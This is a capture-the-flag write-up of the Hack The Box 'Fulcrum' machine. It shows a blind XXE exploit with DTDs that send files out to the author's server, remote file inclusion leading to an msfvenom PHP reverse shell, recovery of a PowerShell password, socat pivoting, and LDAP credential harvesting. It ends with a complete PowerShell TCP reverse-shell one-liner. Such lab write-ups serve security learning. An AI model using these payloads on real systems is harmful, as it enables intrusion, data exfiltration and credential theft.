Hack the Box - Fulcrum Write up



Wew this box had aaaaaaaaaalot of steps. Honestly, I feel like a lot of the difficultly perceived with this box came from the heavy need to use powershell. Nonetheless it definitely set the bar of being one of the more in-depth challenges because of all the steps required to reach the end goal. The pivoting was a very nice touch, and I wish there were more hack the box boxes that were architected in this manner with multiple machines or networks. I went a little bit more in-depth with the write-up, and included some fails, and rabbit-hole detection techniques.

Tools Used


Initial Scanning

Like always lets begin with a nmap scan agaisn’t the fulcrum machine ( You need to run a full portscan to ensure you didn’t miss the service running on port 56423.

root@dastinia:~/htb/fulcrum# nmap -T4 -sV -sC -Pn -p- -oA fulcrum_fullscan
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-10 15:16 EDT
Nmap scan report for
Host is up (0.16s latency).
Not shown: 65529 closed ports
4/tcp     open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:28:6e:d0:af:ab:46:de:c5:09:3d:76:ad:5a:44:e0 (RSA)
|   256 c1:5c:1d:ea:99:ec:e0:a1:dc:04:c5:5a:ad:50:36:f6 (ECDSA)
|_  256 a5:2f:44:e6:e3:10:cf:f7:db:15:d1:3f:49:21:3a:7b (ED25519)
80/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Input string was not in a correct format.
88/tcp    open  http    nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: phpMyAdmin
9999/tcp  open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Login
56423/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (application/json;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 775.49 seconds

Enumerating Port 4

Visting the web service on port 4, displays an “Under Maintenance” Page.

"Under Maintenance"

Clicking to try again redirects you to /index.php? page=homeLooking at this we might be able to take advantage of a file include (or SSRF) type vulnerability just based on the page parameter. @Jhaddix gave a great talk called “Hunt” at defcon, and to sum it up it’s an analysis of web vulnerabilities, and their most common parameters associated with those vulnerability.” I highly recommend reading/watching the video on the talk because it will help recognize potential vulnberbilites in web applications much quicker.

Running gobuster against the site, reveals us some additional content to explore.

root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_4r_fulcrum_4

Gobuster v1.2                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 302,307,403,200,204,301
[+] Extensions   : .php,.html
/index.php (Status: 200)
/home.php (Status: 200)
/upload.php (Status: 200)

Going directly to http: // brings us to the fulcrum file upload page.

"Fulcrum File Upload"

Attempting to upload anything using the file upload capability always end up with an error occurring, even while attempting to upload a regular unmodified image file.

"Upload Failed Error Page"

We are going to keep a note of this, because it will come in handy later.

Enumerating Port 80

I also ran gobuster in the background. For some reason it’s throwing (fake) IIS errors even though it was a ubuntu server using nginx. You could tell right off the back that this service was fake news, and was likely a rabbit hole so I didn’t spend any resources digging deeper.

Enumering Port 88 (phpmyadmin)

Attempting to authenticate with various combinations of common usernames, and passwords seen on hackthebox machines eg: root:root, admin:admin, admin:password etc..

Every time you attempt to authenticate the following error message would return.

"PHPmyAdmin SQL Error" From some quick google searching this likely meant that the MySQL Server is misconfigured, or not accepting connections which likely means this was just another rabbit-hole.

Enumerating Port 9999 (PFSense)

Visiting the service on port 9999 brings us to the homepage of PFsense (an open-source firewall).


Attempting the default credentials for PFsense, in addition to common hack the box username,password combinous resulted with nothing.

You can observe from the footer copyright (which states 2004-2018) this is likely the latest version of PFSense. Another indicator that you can use, if you are familiar with pfsense and how it previously to looked within the past (two? years) they switched the web interface UX styling framework from their (not so pretty custom styling) to bootstrap. If you view the source code of the page, then you see the bootstrap includes, which lets you know that this is likely another rabbit-hole.

Enumerating Port 56423 (FulCrum API)

Visiting the service on Port 56423 brings us to what appears to be some sort of “API” endpoint.

"Fulcrum API"

Hitting it with gobuster reveals that, it only has a single resource available for us to hit.

root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_56423

Gobuster v1.2                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 403,200,204,301,302,307
[+] Extensions   : .php,.html
/index.php (Status: 200)

People generally skip over some of the inner thought process of discovering vulerbilities. But in this case, we have no real way of interacting with the api that’s available, so we are likely looking for some sort of blind injection vulnerability. (OS, XPath, XXE, SQLi etc..). We can pretty much rule out an SQL injection because the SQL database from our prior enumeration earlier wasn’t functioning.

After attempting a variety of blind injection attacks, you end up discovering it’s blind XXE vulnerability. The following blog post is a good read on exploiting XXE vulerbilities.

"Testing for XXE Vulerbility w/ Burp Suite"

xxe test payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "" [


root@dastinia:~/htb/fulcrum# ncat -lnkvp 3434
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::3434
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
GET /test-t HTTP/1.0
Connection: close

So we now we know what the vulnerability is, and we have a working “proof of concept”. We can safely say that this is going to be the entry point into the box so now it’s time to dive deeper.


Using Blind XXE to Read Source Code Files

Honestly, this part fucking sucked for me. For some reason I’m awful at either following instructions, or there was something else going on. But one thing’s for sure, I clearly didn’t know how XXE properly which made the following section take forever.

I used a combination of the following resources, finally put together a stable formula for performing the OOB XXE. I’m not 100% if it was intended, but using the php://filter pretty much was a requirement to pull data out through XXE (no other methods seemed to work). If you are just interested in getting the shell, it’s safe to skip this section.

I recommend reading the following resources to understand the different ways we can take advantage of an XXE vulnerability.

Links: | 1 | 2 | | 3

"Using XXE to Request contents of "/etc/issue""

Contents of test.dtd

root@dastinia:~/htb/fulcrum/serve# cat test.dtd
  <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/issue">
  <!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM ';'>">

Upon successful exploitation, we should be receiving the contents of /etc/issue as a base64 encoded string.

root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [20/Jun/2018 21:46:50] "GET /test.dtd HTTP/1.0" 200 - - - [20/Jun/2018 21:46:50] code 404, message File not found - - [20/Jun/2018 21:46:50] "GET /result?Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg== HTTP/1.0" 404 -

Decoding it gives us the following content.

$ echo -n "Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg==" | base64 -d
Created by: @OneLogicalMyth
IP Address: \4{ens32}
Hostname:   \n

Good Luck!

By changing the file in test.dtd we can exfiltrate sensitive files, for further analysis, for example the contents of /etc/passwd or the fulcrum api source code.

colord:x:109:117:colord colour management daemon,,,:/var/lib/colord:/bin/false
libvirt-qemu:x:64055:115:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:110:118:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false

Fulcrum API Source Code

        header('Server: Fulcrum-API Beta');
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $input = simplexml_import_dom($dom);
        $output = $input->Ping;
        //check if ok
        if($output == "Ping")
                $data = array('Heartbeat' => array('Ping' => "Ping"));
                $data = array('Heartbeat' => array('Ping' => "Pong"));
        echo json_encode($data);


From our further enumeration we know that there are other applications running on this box with known file names (results from enumerating the fulcrum web service on port 4). Attempting to access one of the known files like home.php ends with nothing being returned, so likely what this means that the other web apps are separated into different directories.

Attempting common web directories like www, html, web, upload, uploads you discover that there is web-content being served from the uploads directory which so happens to be the content of the Fulcrum web application service being hosted on port 4.

dtd payload for discovering content in uploads web directory

root@dastinia:~/htb/fulcrum/serve# cat test.dtd  

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=../uploads/index.php">  
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM ';'>">

results - - [20/Jun/2018 22:32:34] "GET /result?PD9waHAKaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gIT0gIjEyNy4wLjAuMSIpCnsKCWVjaG8gIjxoMT5VbmRlciBNYWludGFuY2U8L2gxPjxwPlBsZWFzZSA8YSBocmVmPVwiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSAuICI6NC9pbmRleC5waHA/cGFnZT1ob21lXCI+dHJ5IGFnYWluPC9hPiBsYXRlci48L3A+IjsKfWVsc2V7CgkkaW5jID0gJF9SRVFVRVNUWyJwYWdlIl07CglpbmNsdWRlKCRpbmMuIi5waHAiKTsKfQo/PgoK HTTP/1.0" 404 -

Un-Base64’ing the response gives you the contents of index.php

if($_SERVER['REMOTE_ADDR'] != "")
	echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
	$inc = $_REQUEST["page"];

Contents of home.php

<!DOCTYPE html>
<h1>Fulcrum File Upload</h1>

<form action="upload.php" method="post" enctype="multipart/form-data">
        Select image to upload:
        <p><input type="file" name="fileToUpload" id="fileToUpload"></p>
        <p><input type="submit" value="Upload Image" name="submit"></p>


Contents of upload.php

		echo "<p style=\"color:red;\">Sorry the file upload failed</p>";

We can quickly see see that the code in index.php is vulnerable to a textbook php file inclusion vulnerability. The only thing is, to exploit this vulnerability we need to have the request come from the machines localhost. If you attempt to access the page not from localhost it will give you the Under maintenance page. But if the request comes from localhost we hit the 2nd code path of the application, and we have control over the page parameter which is getting passed directly into the include statement which we can use to get code execution. Additional Reading

Getting Shell via Remote File Include

For what it was worth, getting a shell was relatively simple to execute. You probably could have skipped all of the stuff in the middle section, and gone straight here if you are familiar with php web application vulnerabilities, and what they look like. I believe a lot of people who completed this box did just that.

generating a regular msfvenom php reverse shell

root@dastinia:~/htb/fulcrum/serve# msfvenom -p php/reverse_php LHOST= LPORT=443 -f raw > 443.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3036 bytes

You are going to need to serve your payload with some sort of webserver. A python3 http.server is a quick way to throw up a webserver to host content.

setting up python http.server

root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80
Serving HTTP on port 80 ( ...

Setting up metasploit multi handler to catch shell

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > set ExitOnSession False
ExitOnSession => false
msf exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on

Now all we need to do is to use our XXE vulnerability to craft a URL to fetch our payload to exploit the file include.

raw request in burpsuite for exploiting the XXE to php file-include

GET / HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 131

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "">

%remote; %intern; %xxe;


Sweet got a shell, but getting a shell is only the beginning…

getting a shell after successful exploitation

msf exploit(multi/handler) > [*] Command shell session 1 opened ( -> at 2018-06-21 22:09:31 -0400

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct  5  2017 .
drwxr-xr-x 6 root root 4096 Oct  5  2017 ..
-rw-r--r-- 1 root root  714 Oct  4  2017 Fulcrum_Upload_to_Corp.ps1
-rw-r--r-- 1 root root  321 Oct  4  2017 home.php
-rw-r--r-- 1 root root  255 Oct  5  2017 index.php
-rw-r--r-- 1 root root  113 Oct  4  2017 upload.php

This shell is extremely unstable & will die after a few minutes, so I recommend throwing yourself a regular socat/netcat shell.


Decrypting/Recovering Credentials in Script for PSRemoting

Interestly we discover that there is a powershell script on the box, this is pretty unusual because this machine is labelled as a Linux system.

Contents of Fulcrum_Upload_to_Corp.ps1

# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

We can modify the script slightly so that it decrypts the password for us.


$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$4 = $3 | ConvertTo-SecureString -key $2

Password of WebUser

PS C:\> .\decrypt.ps1
PS C:\>

Discovering 192.168.122.x Network

After decrypting the password, the next step was to search for additional containers, virtual machines, or connected networks.

Running an ifconfig we see this machine has many interfaces, which is extremely usual for a Hack the Box machine. A network address that stands our is which is very strange. Likely this machine is dual-homed.

ifconfig output

www-data@Fulcrum:~$ ifconfig
corp      Link encap:Ethernet  HWaddr 52:54:00:87:ee:c0
          RX packets:412 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32601 (32.6 KB)  TX bytes:0 (0.0 B)

ens32     Link encap:Ethernet  HWaddr 00:50:56:b9:44:f1
          inet addr:  Bcast:  Mask:
          inet6 addr: dead:beef::250:56ff:feb9:44f1/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:44f1/64 Scope:Link
          RX packets:72492 errors:0 dropped:82 overruns:0 frame:0
          TX packets:35844 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11175820 (11.1 MB)  TX bytes:5982295 (5.9 MB)

lo        Link encap:Local Loopback
          inet addr:  Mask:
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:241 errors:0 dropped:0 overruns:0 frame:0
          TX packets:241 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:18409 (18.4 KB)  TX bytes:18409 (18.4 KB)

virbr0    Link encap:Ethernet  HWaddr 52:54:00:9c:e7:10
          inet addr:  Bcast:  Mask:
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50375 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3317157 (3.3 MB)  TX bytes:2463028 (2.4 MB)

vnet0     Link encap:Ethernet  HWaddr fe:54:00:32:d7:13
          inet6 addr: fe80::fc54:ff:fe32:d713/64 Scope:Link
          RX packets:4904 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16218 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:493632 (493.6 KB)  TX bytes:1118993 (1.1 MB)

vnet1     Link encap:Ethernet  HWaddr fe:54:00:74:9d:17
          inet6 addr: fe80::fc54:ff:fe74:9d17/64 Scope:Link
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61628 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4059899 (4.0 MB)  TX bytes:3048416 (3.0 MB)

vnet2     Link encap:Ethernet  HWaddr fe:54:00:32:59:e0
          inet6 addr: fe80::fc54:ff:fe32:59e0/64 Scope:Link
          RX packets:6321 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18278 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:599472 (599.4 KB)  TX bytes:2537511 (2.5 MB)

vnet3     Link encap:Ethernet  HWaddr fe:54:00:82:69:f5
          inet6 addr: fe80::fc54:ff:fe82:69f5/64 Scope:Link
          RX packets:3146 errors:0 dropped:0 overruns:0 frame:0
          TX packets:15213 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:244122 (244.1 KB)  TX bytes:915975 (915.9 KB)

vnet4     Link encap:Ethernet  HWaddr fe:54:00:01:c6:b8
          inet6 addr: fe80::fc54:ff:fe01:c6b8/64 Scope:Link
          RX packets:7031 errors:0 dropped:0 overruns:0 frame:0
          TX packets:17564 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1952435 (1.9 MB)  TX bytes:1184340 (1.1 MB)

vnet5     Link encap:Ethernet  HWaddr fe:54:00:8f:b9:f9
          inet6 addr: fe80::fc54:ff:fe8f:b9f9/64 Scope:Link
          RX packets:1821 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12593 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:289587 (289.5 KB)  TX bytes:785970 (785.9 KB)

web       Link encap:Ethernet  HWaddr 52:54:00:15:08:7e
          RX packets:583 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:65505 (65.5 KB)  TX bytes:0 (0.0 B)

To reduce our scope a bit, we can check the arp table, and see which machines that this machine has talked to recently.

www-data@Fulcrum:~$ arp -a

? ( at 00:50:56:aa:9c:8d [ether] on ens32
? ( at 52:54:00:74:9d:17 [ether] on virbr0

We see that there is a live host at Our next step was to discover what ports were open on this machine. There are many ways to scan a machine when you are on someone’s internal network, but I prefer to drop a statically compiled version of nmap (and associated modules) if I have the ability to do so. It saves time, and I want to feel at home when I’m on someone’s box.

www-data@Fulcrum:/tmp/.scan$ wget
--2018-06-22 03:30:11--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 4875842 (4.6M) [application/gzip]
Saving to: 'nmap.tar.gz'

nmap.tar.gz         100%[===================>]   4.65M  1.04MB/s    in 6.8s

2018-06-22 03:30:19 (705 KB/s) - 'nmap.tar.gz' saved [4875842/4875842]

www-data@Fulcrum:/tmp/.scan$ clear
TERM environment variable not set.
www-data@Fulcrum:/tmp/.scan$ ls
www-data@Fulcrum:/tmp/.scan$ tar -xvf nmap.tar.gz

Downloading our statically compiled nmap

www-data@Fulcrum:/tmp/.scan$ wget
--2018-06-22 03:36:28--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5944464 (5.7M) [application/octet-stream]
Saving to: 'nmapstatic'

nmapstatic          100%[===================>]   5.67M   576KB/s    in 11s

2018-06-22 03:36:40 (506 KB/s) - 'nmapstatic' saved [5944464/5944464]

To scanning with our statically compiled nmap, we use the --datadir option, with this we can portscan just like if we were doing it from our own box easily.

www-data@Fulcrum:/tmp/.scan$ ./nmapstatic --datadir nmap/ -p-

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-06-22 03:39 BST
Nmap scan report for
Host is up (0.0022s latency).
Not shown: 65532 filtered ports
80/tcp   open  http
5986/tcp open  wsmans
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 165.06 seconds

Like we thought, there seems to be a windows host attached with Powershell remoteing enabled.

Pivoting from Fulcrum Host to 192.168.122.x Network

To use PSRemoteing from my host machine properly, we are going to need to setup a pivot. The general gist of what we need to accomplish can be expressed with this diagram.

"Pivot Setup"

I’m going to use socat for a majority of this because it’s a tool I am very familiar with, and it’s pretty easy to use. Although you can achieve the same results, using Metasploit, ssh, or some other like-minded tool.

We are going to listen for connections on port 55555 -> and relay that connection to on port 5986 (PSRemoting port).

on fulcrum machine (

www-data@Fulcrum:/tmp/ ./socat tcp-listen:55555,reuseaddr,fork tcp:

on my kali box (

What is this doing is that it’s going to listen for connections on port 5986 -> and relay that connection to on port 55555.

root@dastinia:~# socat tcp-listen:5986,reuseaddr,fork tcp:

Now from my (local) Windows 10 host we can connect to my Kali host (, and it will relay that connection through our pivots to the network we are attempting to reach. We need the additional -SessionOption’s SkipCACheck -SkipCNCheck because you get two error messages stating that The SSL certificate is signed by an unknown certificate authority. & The SSL certificate contains a common name (CN) that does not match the hostname.

PS C:\> Enter-PSSession -Computername -Credential "Webuser" -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
[]: PS C:\Users\WebUser\Documents> $env:UserName
[]: PS C:\Users\WebUser\Documents> $env:UserDomain

Pivoting from WebServer to FileServer

If you attempt to read the contents of the user flag, you get a message stating that You need to go deeper!. Inspecting the CheckFileServer.ps1 powershell script, we can see that they are hinting that most likely there is another host on the network.

[]: PS C:\Users\WebUser\Documents> dir

    Directory: C:\Users\WebUser\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/2/2017   8:39 PM            260 CheckFileServer.ps1
-a----       10/12/2017   4:23 AM          33266 Invoke-PsExec.ps1
-a----        10/2/2017   8:23 PM             24 user.txt

[]: PS C:\Users\WebUser\Documents> type .\user.txt
You need to go deeper!

[]: PS C:\Users\WebUser\Documents> type .\CheckFileServer.ps1
$Server = '' # Waiting on IT to give me the address...
$Creds = Get-Credential -Message 'Please enter file server credentials'

Get-CimClass -ClassName win32_operatingsystem -ComputerName $Server -Credential $Creds

# TODO: can't get this to work

Since the hostname of this system is “WebServer” we should probably inspect the contents of the webroot… Inspecting the contents of the web.config we find credentials which looks like it will allow us to run LDAP queries.

[]: PS C:\inetpub\wwwroot> dir

    Directory: C:\inetpub\wwwroot

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/2/2017   8:09 PM           5359 index.htm
-a----        10/2/2017   8:11 PM           1310 web.config

[]: PS C:\inetpub\wwwroot> type web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
    <appSettings />
        <add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
        <membership defaultProvider="ADProvider">
                <add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
[]: PS C:\inetpub\wwwroot>

Querying LDAP for Information

At the time, I didn’t bother writing a proper ldap queries, so I did the un-elegant method of just running an ldap query for absolutely every object/filter, and manually inspecting it for interesting information.

Querying LDAP in Powershell

$username = 'LDAP'
$password = 'PasswordForSearching123!'
$DomainControllerIpAddress = 'dc.fulcrum.local'
$LdapDn = 'dc=fulcrum,dc=local'
$dn = New-Object System.DirectoryServices.DirectoryEntry ("LDAP://$($DomainControllerIpAddress):389/$LdapDn",$username,$password)
$ds = new-object System.DirectoryServices.DirectorySearcher($dn)
$ds.filter = "((ObjectClass=*))"
$ds.SearchScope = "subtree"

"Fulcrum LDAP Query Output"


LDAP://dc.fulcrum.local:389/CN=FILE,CN=Computers,DC=fulcrum,DC=local                                                                             {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local                                                                        {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/OU=People,DC=fulcrum,DC=local                                                                                        {distinguishedname, adspath}
LDAP://dc.fulcrum.local:389/CN=LDAP Lookup,OU=People,DC=fulcrum,DC=local                                                                         {distinguishedname, samaccountname, adspath, lastlogon}
LDAP://dc.fulcrum.local:389/CN=be36,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=8631,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=9791,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=879f,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=953d,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=81b2,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}
LDAP://dc.fulcrum.local:389/CN=97f0,OU=People,DC=fulcrum,DC=local                                                                                {memberof, distinguishedname, samaccountname, adspath...}

From the output of our LDAP query we can see some interesting objects, include the name of the fileserver: file.fulcrum.local , and a user different from the rest of the users “Bobby Tables”. We can run a more filtered query on the common name (CN) “bobby”, and we can now include all the properties mapped to this object.

$username = 'LDAP'
$password = 'PasswordForSearching123!'
$DomainControllerIpAddress = 'dc.fulcrum.local'
$LdapDn = 'dc=fulcrum,dc=local'
$dn = New-Object System.DirectoryServices.DirectoryEntry ("LDAP://$($DomainControllerIpAddress):389/$LdapDn",$username,$password)
$ds = new-object System.DirectoryServices.DirectorySearcher($dn)
$ds.filter = "((cn=bobby*))"
$ds.SearchScope = "subtree"
$data = $ds.FindAll()

Doing so gives us the following output…

Name                           Value
----                           -----
logoncount                     {18}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local}
description                    {Has logon rights to the file server}
usnchanged                     {143447}
instancetype                   {4}
name                           {Bobby Tables}
badpasswordtime                {131522885566857829}
pwdlastset                     {131514417841217344}
objectclass                    {top, person, organizationalPerson, user}
badpwdcount                    {0}
samaccounttype                 {805306368}
lastlogontimestamp             {131556801131693417}
usncreated                     {12878}
objectguid                     {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111}
info                           {Password set to ++FileServerLogon12345++}
whencreated                    {10/2/2017 6:06:57 PM}
adspath                        {LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
useraccountcontrol             {66048}
cn                             {Bobby Tables}
countrycode                    {0}
primarygroupid                 {513}
whenchanged                    {11/20/2017 7:35:13 PM}
dscorepropagationdata          {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM}
lastlogon                      {131556801131693417}
distinguishedname              {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
samaccountname                 {BTables}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0}
lastlogoff                     {0}
displayname                    {Bobby Tables}
accountexpires                 {9223372036854775807}
userprincipalname              {BTables@fulcrum.local}

It seems that we might we have might discovered Bobby Tables credentials, and from the “description” he should have logon rights to the file server (file.fulcrum.local).

Pivoting to file.fulcrum.local with Nishang

Trying to enter another Powershell Remoting sessions gives us an error stating we can’t do multi-hop PSRemoting Sessions. We also don’t have permissions to enable multi-session PSRemoting unfortunately because we aren’t administrators.

[]: PS C:\Users\WebUser\Documents> Enter-PSSession -Computername file.fulcrum.local -Credential fulcrum.local\btables
Enter-PSSession : You are currently in a Windows PowerShell PSSession and cannot use the Enter-PSSession cmdlet to enter another PSSession.
    + CategoryInfo          : InvalidArgument: (:) [Enter-PSSession], ArgumentException
    + FullyQualifiedErrorId : RemoteHostDoesNotSupportPushRunspace,Microsoft.PowerShell.Commands.EnterPSSessionCommand

[]: PS C:\Users\WebUser\Documents> Enable-WSManCredSSP –Role Client –DelegateComputer spoke
Access is denied. You need to run this cmdlet from an elevated process.
    + CategoryInfo          : NotSpecified: (:) [Enable-WSManCredSSP], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.WSMan.Management.EnableWSManCredSSPCommand

We are able to call backout to the htb vpn ip space so we can use powershell invoke-command to execute commands on the box. We can get a reverse shell copy-pasta’ing “Nishangs Invoke-PowershellTcpOneLine” Invoke-Command on file.fulcrum.local

Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock  { $client = New-Object System.Net.Sockets.TCPClient('',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }

getting shell

